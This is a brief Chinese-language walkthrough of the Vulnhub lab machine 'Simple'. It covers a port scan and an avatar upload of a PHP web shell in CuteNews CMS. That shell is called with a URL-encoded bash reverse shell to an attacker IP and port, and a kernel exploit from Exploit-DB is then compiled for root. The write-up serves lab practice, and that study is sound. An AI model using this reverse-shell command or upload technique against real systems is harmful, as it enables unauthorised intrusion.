[Vulnhub] Simple CuteNews-CMS+Kernel权限提升

信息收集

IP Address	Opening Ports
192.168.8.104	TCP:80

$ nmap -p- 192.168.8.104 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Please Login / CuteNews
|_http-server-header: Apache/2.4.7 (Ubuntu)

本地权限

注册用户登录

Content-Disposition: form-data; name="avatar_file"; filename="reverse.php"

http://192.168.8.104/uploads/avatar_admin2_reverse.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.107%2F10032%200%3E%261%27

权限提升

$ cat /etc/os-release

https://www.exploit-db.com/exploits/36746

$ gcc 36746.c -static -o 36746

# ./36746